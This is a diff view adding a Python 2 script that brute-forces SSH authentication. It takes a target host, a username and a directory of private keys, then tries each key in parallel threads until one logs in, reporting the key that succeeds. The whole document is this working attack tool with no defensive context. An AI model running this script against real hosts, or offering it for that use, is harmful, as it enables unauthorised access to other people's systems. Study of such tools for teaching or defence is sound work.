|
| 1 | +#!/usr/bin/python |
| 2 | +# -*- coding: utf-8 -*- |
| 3 | +import pexpect |
| 4 | +import optparse |
| 5 | +import os |
| 6 | +from threading import * |
| 7 | + |
| 8 | +maxConnections = 5 |
| 9 | +connection_lock = BoundedSemaphore(value=maxConnections) |
| 10 | +Stop = False |
| 11 | +Fails = 0 |
| 12 | + |
| 13 | + |
| 14 | +def connect(user,host,keyfile,release): |
| 15 | + global Stop |
| 16 | + global Fails |
| 17 | + try: |
| 18 | + perm_denied = 'Permission denied' |
| 19 | + ssh_newkey = 'Are you sure you want to continue' |
| 20 | + conn_closed = 'Connection closed by remote host' |
| 21 | + opt = ' -o PasswordAuthentication=no' |
| 22 | + connStr = 'ssh ' + user +\ |
| 23 | + '@' + host + ' -i ' + keyfile + opt |
| 24 | + child = pexpect.spawn(connStr) |
| 25 | + ret = child.expect([pexpect.TIMEOUT,perm_denied,\ |
| 26 | + ssh_newkey,conn_closed,'$','#',]) |
| 27 | + if ret == 2: |
| 28 | + print '[-] Adding Host to ~/.ssh/known_hosts' |
| 29 | + child.sendline('yes') |
| 30 | + connect(user, host, keyfile, False) |
| 31 | + elif ret == 3: |
| 32 | + print '[-] Connection Closed By Remote Host' |
| 33 | + Fails += 1 |
| 34 | + elif ret > 3: |
| 35 | + print '[+] Success. ' + str(keyfile) |
| 36 | + Stop = True |
| 37 | + finally: |
| 38 | + if release: |
| 39 | + connection_lock.release() |
| 40 | + |
| 41 | + |
| 42 | +def main(): |
| 43 | + parser = optparse.OptionParser('usage %prog -H '+\ |
| 44 | + '<target host> -u <user> -d <directory>') |
| 45 | + parser.add_option('-H', dest='tgtHost', type='string',\ |
| 46 | + help='specify target host') |
| 47 | + parser.add_option('-d', dest='passDir', type='string',\ |
| 48 | + help='specify directory with keys') |
| 49 | + parser.add_option('-u', dest='user', type='string',\ |
| 50 | + help='specify the user') |
| 51 | + |
| 52 | + (options, args) = parser.parse_args() |
| 53 | + host = options.tgtHost |
| 54 | + passDir = options.passDir |
| 55 | + user = options.user |
| 56 | + |
| 57 | + if host == None or passDir == None or user == None: |
| 58 | + print parser.usage |
| 59 | + exit(0) |
| 60 | + |
| 61 | + for filename in os.listdir(passDir): |
| 62 | + if Stop: |
| 63 | + print '[*] Exiting: Key Found.' |
| 64 | + exit(0) |
| 65 | + if Fails > 5: |
| 66 | + print '[!] Exiting: '+\ |
| 67 | + 'Too Many Connections Closed By Remote Host.' |
| 68 | + print '[!] Adjust number of simultaneous threads.' |
| 69 | + exit(0) |
| 70 | + connection_lock.acquire() |
| 71 | + fullpath = os.path.join(passDir, filename) |
| 72 | + print '[-] Testing keyfile ' + str(fullpath) |
| 73 | + t = Thread(target=connect,\ |
| 74 | + args=(user, host, fullpath, True)) |
| 75 | + child = t.start() |
| 76 | + |
| 77 | + |
| 78 | +if __name__ == '__main__': |
| 79 | + main() |
0 commit comments